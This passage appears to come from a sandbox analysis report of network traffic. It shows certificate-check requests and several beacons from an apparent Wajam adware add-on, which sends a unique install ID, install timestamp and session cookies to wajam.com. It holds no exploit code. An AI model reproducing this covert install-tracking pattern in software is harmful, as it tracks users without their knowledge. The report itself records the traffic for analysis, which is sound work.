   1B0 : 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D [: gzip, deflate.]
   1C0 : 0A 48 6F 73 74 3A 20 6D 65 64 69 61 2D 63 39 68 [.Host: media-c9h]
   1D0 : 67 33 7A 77 71 79 67 64 73 68 68 74 72 70 73 2E [g3zwqygdshhtrps.]
   1E0 : 73 74 61 63 6B 70 61 74 68 64 6E 73 2E 63 6F 6D [stackpathdns.com]
   1F0 : 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 [..DNT: 1..Connec]
   200 : 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 [tion: Keep-Alive]
   210 : 0D 0A 0D 0A [....]

172.217.7.131:80 (ocsp.pki.goog)

GET

ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D

GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog More Details

Format

Details

Request

GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.pki.goog

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 12 0C 54 40 00 80 06 87 93 C0 A8 F0 F9 AC D9 [...T@...........]
    20 : 07 83 C1 11 00 50 57 45 54 F9 E1 94 A9 0D 50 18 [.....PWET.....P.]
    30 : 01 02 CE 04 00 00 47 45 54 20 2F 67 73 72 32 2F [......GET /gsr2/]
    40 : 4D 45 34 77 54 44 42 4B 4D 45 67 77 52 6A 41 4A [ME4wTDBKMEgwRjAJ]
    50 : 42 67 55 72 44 67 4D 43 47 67 55 41 42 42 54 67 [BgUrDgMCGgUABBTg]
    60 : 58 49 73 78 62 76 72 32 6C 42 6B 50 70 6F 49 45 [XIsxbvr2lBkPpoIE]
    70 : 56 52 45 36 67 48 6C 43 6E 41 51 55 6D 25 32 42 [VRE6gHlCnAQUm%2B]
    80 : 49 48 56 32 63 63 48 73 42 71 42 74 35 5A 74 4A [IHV2ccHsBqBt5ZtJ]
    90 : 6F 74 33 39 77 5A 68 69 34 43 44 51 48 6A 71 54 [ot39wZhi4CDQHjqT]
    A0 : 41 63 25 32 46 48 49 47 4F 44 25 32 42 61 55 78 [Ac%2FHIGOD%2BaUx]
    B0 : 30 25 33 44 20 48 54 54 50 2F 31 2E 31 0D 0A 43 [0%3D HTTP/1.1..C]
    C0 : 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D [onnection: Keep-]
    D0 : 41 6C 69 76 65 0D 0A 41 63 63 65 70 74 3A 20 2A [Alive..Accept: *]
    E0 : 2F 2A 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 [/*..User-Agent: ]
    F0 : 4D 69 63 72 6F 73 6F 66 74 2D 43 72 79 70 74 6F [Microsoft-Crypto]
   100 : 41 50 49 2F 36 2E 31 0D 0A 48 6F 73 74 3A 20 6F [API/6.1..Host: o]
   110 : 63 73 70 2E 70 6B 69 2E 67 6F 6F 67 0D 0A 0D 0A [csp.pki.goog....]

172.217.7.131:80 (ocsp.pki.goog)

GET

ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEAz%2B6ADJSnR5hSyii3PbeQE...

GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEAz%2B6ADJSnR5hSyii3PbeQE%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog More Details

Format

Details

Request

GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEAz%2B6ADJSnR5hSyii3PbeQE%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.pki.goog

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 18 0C 82 40 00 80 06 87 5F C0 A8 F0 F9 AC D9 [....@...._......]
    20 : 07 83 C1 11 00 50 57 45 55 E3 E1 94 AB D3 50 18 [.....PWEU.....P.]
    30 : 00 FF 45 92 00 00 47 45 54 20 2F 47 54 53 47 49 [..E...GET /GTSGI]
    40 : 41 47 33 2F 4D 46 45 77 54 7A 42 4E 4D 45 73 77 [AG3/MFEwTzBNMEsw]
    50 : 53 54 41 4A 42 67 55 72 44 67 4D 43 47 67 55 41 [STAJBgUrDgMCGgUA]
    60 : 42 42 54 32 37 62 42 6A 59 6A 4B 42 6D 6A 58 32 [BBT27bBjYjKBmjX2]
    70 : 6A 58 57 67 6E 51 4A 4B 45 61 70 73 72 51 51 55 [jXWgnQJKEapsrQQU]
    80 : 64 38 4B 34 55 4A 70 6E 64 6E 61 78 4C 63 4B 47 [d8K4UJpndnaxLcKG]
    90 : 30 49 4F 67 66 71 5A 25 32 42 75 6B 73 43 45 41 [0IOgfqZ%2BuksCEA]
    A0 : 7A 25 32 42 36 41 44 4A 53 6E 52 35 68 53 79 69 [z%2B6ADJSnR5hSyi]
    B0 : 69 33 50 62 65 51 45 25 33 44 20 48 54 54 50 2F [i3PbeQE%3D HTTP/]
    C0 : 31 2E 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A [1.1..Connection:]
    D0 : 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 41 63 63 [ Keep-Alive..Acc]
    E0 : 65 70 74 3A 20 2A 2F 2A 0D 0A 55 73 65 72 2D 41 [ept: */*..User-A]
    F0 : 67 65 6E 74 3A 20 4D 69 63 72 6F 73 6F 66 74 2D [gent: Microsoft-]
   100 : 43 72 79 70 74 6F 41 50 49 2F 36 2E 31 0D 0A 48 [CryptoAPI/6.1..H]
   110 : 6F 73 74 3A 20 6F 63 73 70 2E 70 6B 69 2E 67 6F [ost: ocsp.pki.go]
   120 : 6F 67 0D 0A 0D 0A [og....]

172.217.7.131:80 (crl.pki.goog)

GET

crl.pki.goog/GTSGIAG3.crl

GET /GTSGIAG3.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog More Details

Format

Details

Request

GET /GTSGIAG3.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.pki.goog

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 00 A4 0C 8A 40 00 80 06 87 CB C0 A8 F0 F9 AC D9 [....@...........]
    20 : 07 83 C1 15 00 50 9C 58 E9 5D 40 36 BF 09 50 18 [.....P.X.]@6..P.]
    30 : 01 02 FE 7B 00 00 47 45 54 20 2F 47 54 53 47 49 [...{..GET /GTSGI]
    40 : 41 47 33 2E 63 72 6C 20 48 54 54 50 2F 31 2E 31 [AG3.crl HTTP/1.1]
    50 : 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 [..Connection: Ke]
    60 : 65 70 2D 41 6C 69 76 65 0D 0A 41 63 63 65 70 74 [ep-Alive..Accept]
    70 : 3A 20 2A 2F 2A 0D 0A 55 73 65 72 2D 41 67 65 6E [: */*..User-Agen]
    80 : 74 3A 20 4D 69 63 72 6F 73 6F 66 74 2D 43 72 79 [t: Microsoft-Cry]
    90 : 70 74 6F 41 50 49 2F 36 2E 31 0D 0A 48 6F 73 74 [ptoAPI/6.1..Host]
    A0 : 3A 20 63 72 6C 2E 70 6B 69 2E 67 6F 6F 67 0D 0A [: crl.pki.goog..]
    B0 : 0D 0A [..]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/addon/flags?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=42465

GET /addon/flags?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=42465 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=1120... More Details

Format

Details

Request

GET /addon/flags?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=42465 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 C7 0C A6 40 00 80 06 A9 EB C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 16 00 50 F5 66 5B F5 F3 05 3E 07 50 18 [.v...P.f[...>.P.]
    30 : FA F0 82 C0 00 00 47 45 54 20 2F 61 64 64 6F 6E [......GET /addon]
    40 : 2F 66 6C 61 67 73 3F 76 3D 62 31 2E 32 32 26 75 [/flags?v=b1.22&u]
    50 : 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 [nique_id=C7C92D8]
    60 : 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 [7F1EF2BC54BF1F38]
    70 : 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 [2E5949857&aid=36]
    80 : 37 33 26 72 3D 34 32 34 36 35 20 48 54 54 50 2F [73&r=42465 HTTP/]
    90 : 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A [1.1..Accept: */*]
    A0 : 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E [..Accept-Encodin]
    B0 : 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 [g: gzip, deflate]
    C0 : 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F [..User-Agent: Mo]
    D0 : 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F [zilla/5.0 (Windo]
    E0 : 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 [ws NT 6.1; Tride]
    F0 : 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 [nt/7.0; rv:11.0)]
   100 : 20 6C 69 6B 65 20 47 65 63 6B 6F 0D 0A 48 6F 73 [ like Gecko..Hos]
   110 : 74 3A 20 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D [t: www.wajam.com]
   120 : 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 [..DNT: 1..Connec]
   130 : 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 [tion: Keep-Alive]
   140 : 0D 0A 43 6F 6F 6B 69 65 3A 20 50 48 50 53 45 53 [..Cookie: PHPSES]
   150 : 53 49 44 3D 32 33 39 64 63 39 32 38 63 61 73 6D [SID=239dc928casm]
   160 : 32 30 6F 6D 6D 66 6E 6A 61 67 65 76 66 64 3B 20 [20ommfnjagevfd; ]
   170 : 5F 77 61 75 3D 31 35 36 30 39 35 38 35 35 33 38 [_wau=15609585538]
   180 : 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D 31 35 36 [671540; _wal=156]
   190 : 30 39 35 38 35 39 33 3B 20 6E 6F 74 5F 6C 6F 67 [0958593; not_log]
   1A0 : 67 65 64 5F 75 6E 69 71 75 65 5F 69 64 3D 43 37 [ged_unique_id=C7]
   1B0 : 43 39 32 44 38 37 46 31 45 46 32 42 43 35 34 42 [C92D87F1EF2BC54B]
   1C0 : 46 31 46 33 38 32 45 35 39 34 39 38 35 37 3B 20 [F1F382E5949857; ]
   1D0 : 5F 5F 75 74 6D 61 3D 31 31 32 30 37 39 38 37 34 [__utma=112079874]
   1E0 : 2E 31 31 30 34 30 35 38 39 30 35 2E 31 35 36 30 [.1104058905.1560]
   1F0 : 39 35 39 34 36 31 2E 31 35 36 30 39 35 39 34 36 [959461.156095946]
   200 : 31 2E 31 35 36 30 39 35 39 34 36 31 2E 31 3B 20 [1.1560959461.1; ]
   210 : 5F 5F 75 74 6D 62 3D 31 31 32 30 37 39 38 37 34 [__utmb=112079874]
   220 : 2E 31 2E 31 30 2E 31 35 36 30 39 35 39 34 36 31 [.1.10.1560959461]
   230 : 3B 20 5F 5F 75 74 6D 63 3D 31 31 32 30 37 39 38 [; __utmc=1120798]
   240 : 37 34 3B 20 5F 5F 75 74 6D 7A 3D 31 31 32 30 37 [74; __utmz=11207]
   250 : 39 38 37 34 2E 31 35 36 30 39 35 39 34 36 31 2E [9874.1560959461.]
   260 : 31 2E 31 2E 75 74 6D 63 73 72 3D 28 64 69 72 65 [1.1.utmcsr=(dire]
   270 : 63 74 29 7C 75 74 6D 63 63 6E 3D 28 64 69 72 65 [ct)|utmccn=(dire]
   280 : 63 74 29 7C 75 74 6D 63 6D 64 3D 28 6E 6F 6E 65 [ct)|utmcmd=(none]
   290 : 29 3B 20 5F 5F 75 74 6D 74 3D 31 3B 20 77 61 6A [); __utmt=1; waj]
   2A0 : 61 6D 5F 69 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 [am_ie_addon_inst]
   2B0 : 61 6C 6C 65 64 3D 31 3B 20 41 50 50 53 45 53 53 [alled=1; APPSESS]
   2C0 : 49 44 3D 77 33 7C 58 51 70 57 70 7C 58 51 70 57 [ID=w3|XQpWp|XQpW]
   2D0 : 70 0D 0A 0D 0A [p....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/favicon.ico

GET /favicon.ico HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direc... More Details

Format

Details

Request

GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 83 0C A8 40 00 80 06 AA 2D C0 A8 F0 F9 05 87 [....@....-......]
    20 : 8A 76 C1 17 00 50 B3 94 03 9B 72 4A 91 86 50 18 [.v...P....rJ..P.]
    30 : FA F0 D0 C2 00 00 47 45 54 20 2F 66 61 76 69 63 [......GET /favic]
    40 : 6F 6E 2E 69 63 6F 20 48 54 54 50 2F 31 2E 31 0D [on.ico HTTP/1.1.]
    50 : 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 [.Accept: */*..Ac]
    60 : 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 [cept-Encoding: g]
    70 : 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 55 73 [zip, deflate..Us]
    80 : 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C [er-Agent: Mozill]
    90 : 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E [a/5.0 (Windows N]
    A0 : 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 [T 6.1; Trident/7]
    B0 : 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B [.0; rv:11.0) lik]
    C0 : 65 20 47 65 63 6B 6F 0D 0A 48 6F 73 74 3A 20 77 [e Gecko..Host: w]
    D0 : 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E [ww.wajam.com..DN]
    E0 : 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E [T: 1..Connection]
    F0 : 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F [: Keep-Alive..Co]
   100 : 6F 6B 69 65 3A 20 50 48 50 53 45 53 53 49 44 3D [okie: PHPSESSID=]
   110 : 32 33 39 64 63 39 32 38 63 61 73 6D 32 30 6F 6D [239dc928casm20om]
   120 : 6D 66 6E 6A 61 67 65 76 66 64 3B 20 5F 77 61 75 [mfnjagevfd; _wau]
   130 : 3D 31 35 36 30 39 35 38 35 35 33 38 36 37 31 35 [=156095855386715]
   140 : 34 30 3B 20 5F 77 61 6C 3D 31 35 36 30 39 35 38 [40; _wal=1560958]
   150 : 35 39 33 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F [593; not_logged_]
   160 : 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 [unique_id=C7C92D]
   170 : 38 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 [87F1EF2BC54BF1F3]
   180 : 38 32 45 35 39 34 39 38 35 37 3B 20 5F 5F 75 74 [82E5949857; __ut]
   190 : 6D 61 3D 31 31 32 30 37 39 38 37 34 2E 31 31 30 [ma=112079874.110]
   1A0 : 34 30 35 38 39 30 35 2E 31 35 36 30 39 35 39 34 [4058905.15609594]
   1B0 : 36 31 2E 31 35 36 30 39 35 39 34 36 31 2E 31 35 [61.1560959461.15]
   1C0 : 36 30 39 35 39 34 36 31 2E 31 3B 20 5F 5F 75 74 [60959461.1; __ut]
   1D0 : 6D 62 3D 31 31 32 30 37 39 38 37 34 2E 31 2E 31 [mb=112079874.1.1]
   1E0 : 30 2E 31 35 36 30 39 35 39 34 36 31 3B 20 5F 5F [0.1560959461; __]
   1F0 : 75 74 6D 63 3D 31 31 32 30 37 39 38 37 34 3B 20 [utmc=112079874; ]
   200 : 5F 5F 75 74 6D 7A 3D 31 31 32 30 37 39 38 37 34 [__utmz=112079874]
   210 : 2E 31 35 36 30 39 35 39 34 36 31 2E 31 2E 31 2E [.1560959461.1.1.]
   220 : 75 74 6D 63 73 72 3D 28 64 69 72 65 63 74 29 7C [utmcsr=(direct)|]
   230 : 75 74 6D 63 63 6E 3D 28 64 69 72 65 63 74 29 7C [utmccn=(direct)|]
   240 : 75 74 6D 63 6D 64 3D 28 6E 6F 6E 65 29 3B 20 5F [utmcmd=(none); _]
   250 : 5F 75 74 6D 74 3D 31 3B 20 77 61 6A 61 6D 5F 69 [_utmt=1; wajam_i]
   260 : 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C 65 [e_addon_installe]
   270 : 64 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D 77 [d=1; APPSESSID=w]
   280 : 33 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A 0D [3|XQpWp|XQpWp...]
   290 : 0A [.]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/index.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&firstrun=1&install_timestamp=1560965831&r=22927

GET /index.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&firstrun=1&install_timestamp=1560965831&r=22927 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=... More Details

Format

Details

Request

GET /index.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&firstrun=1&install_timestamp=1560965831&r=22927 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 ED 0C AA 40 00 80 06 A9 C1 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 18 00 50 8A 07 B5 69 B8 79 BA FB 50 18 [.v...P...i.y..P.]
    30 : FA F0 D2 96 00 00 47 45 54 20 2F 69 6E 64 65 78 [......GET /index]
    40 : 2E 70 68 70 3F 76 3D 62 31 2E 32 32 26 75 6E 69 [.php?v=b1.22&uni]
    50 : 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 [que_id=C7C92D87F]
    60 : 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 [1EF2BC54BF1F382E]
    70 : 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 37 33 [5949857&aid=3673]
    80 : 26 66 69 72 73 74 72 75 6E 3D 31 26 69 6E 73 74 [&firstrun=1&inst]
    90 : 61 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 3D 31 35 [all_timestamp=15]
    A0 : 36 30 39 36 35 38 33 31 26 72 3D 32 32 39 32 37 [60965831&r=22927]
    B0 : 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 [ HTTP/1.1..Accep]
    C0 : 74 3A 20 2A 2F 2A 0D 0A 41 63 63 65 70 74 2D 45 [t: */*..Accept-E]
    D0 : 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 [ncoding: gzip, d]
    E0 : 65 66 6C 61 74 65 0D 0A 55 73 65 72 2D 41 67 65 [eflate..User-Age]
    F0 : 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 [nt: Mozilla/5.0 ]
   100 : 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B [(Windows NT 6.1;]
   110 : 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 [ Trident/7.0; rv]
   120 : 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B [:11.0) like Geck]
   130 : 6F 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 77 61 6A [o..Host: www.waj]
   140 : 61 6D 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A [am.com..DNT: 1..]
   150 : 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 [Connection: Keep]
   160 : 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 65 3A 20 [-Alive..Cookie: ]
   170 : 50 48 50 53 45 53 53 49 44 3D 32 33 39 64 63 39 [PHPSESSID=239dc9]
   180 : 32 38 63 61 73 6D 32 30 6F 6D 6D 66 6E 6A 61 67 [28casm20ommfnjag]
   190 : 65 76 66 64 3B 20 5F 77 61 75 3D 31 35 36 30 39 [evfd; _wau=15609]
   1A0 : 35 38 35 35 33 38 36 37 31 35 34 30 3B 20 5F 77 [585538671540; _w]
   1B0 : 61 6C 3D 31 35 36 30 39 35 38 35 39 33 3B 20 6E [al=1560958593; n]
   1C0 : 6F 74 5F 6C 6F 67 67 65 64 5F 75 6E 69 71 75 65 [ot_logged_unique]
   1D0 : 5F 69 64 3D 43 37 43 39 32 44 38 37 46 31 45 46 [_id=C7C92D87F1EF]
   1E0 : 32 42 43 35 34 42 46 31 46 33 38 32 45 35 39 34 [2BC54BF1F382E594]
   1F0 : 39 38 35 37 3B 20 5F 5F 75 74 6D 61 3D 31 31 32 [9857; __utma=112]
   200 : 30 37 39 38 37 34 2E 31 31 30 34 30 35 38 39 30 [079874.110405890]
   210 : 35 2E 31 35 36 30 39 35 39 34 36 31 2E 31 35 36 [5.1560959461.156]
   220 : 30 39 35 39 34 36 31 2E 31 35 36 30 39 35 39 34 [0959461.15609594]
   230 : 36 31 2E 31 3B 20 5F 5F 75 74 6D 62 3D 31 31 32 [61.1; __utmb=112]
   240 : 30 37 39 38 37 34 2E 31 2E 31 30 2E 31 35 36 30 [079874.1.10.1560]
   250 : 39 35 39 34 36 31 3B 20 5F 5F 75 74 6D 63 3D 31 [959461; __utmc=1]
   260 : 31 32 30 37 39 38 37 34 3B 20 5F 5F 75 74 6D 7A [12079874; __utmz]
   270 : 3D 31 31 32 30 37 39 38 37 34 2E 31 35 36 30 39 [=112079874.15609]
   280 : 35 39 34 36 31 2E 31 2E 31 2E 75 74 6D 63 73 72 [59461.1.1.utmcsr]
   290 : 3D 28 64 69 72 65 63 74 29 7C 75 74 6D 63 63 6E [=(direct)|utmccn]
   2A0 : 3D 28 64 69 72 65 63 74 29 7C 75 74 6D 63 6D 64 [=(direct)|utmcmd]
   2B0 : 3D 28 6E 6F 6E 65 29 3B 20 5F 5F 75 74 6D 74 3D [=(none); __utmt=]
   2C0 : 31 3B 20 77 61 6A 61 6D 5F 69 65 5F 61 64 64 6F [1; wajam_ie_addo]
   2D0 : 6E 5F 69 6E 73 74 61 6C 6C 65 64 3D 31 3B 20 41 [n_installed=1; A]
   2E0 : 50 50 53 45 53 53 49 44 3D 77 33 7C 58 51 [PPSESSID=w3|XQ]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/supported_urls_list.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=76714

GET /supported_urls_list.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=76714 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461;... More Details

Format

Details

Request

GET /supported_urls_list.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=76714 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 D3 0C AC 40 00 80 06 A9 D9 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 19 00 50 51 03 58 E9 E0 AE 64 3A 50 18 [.v...PQ.X...d:P.]
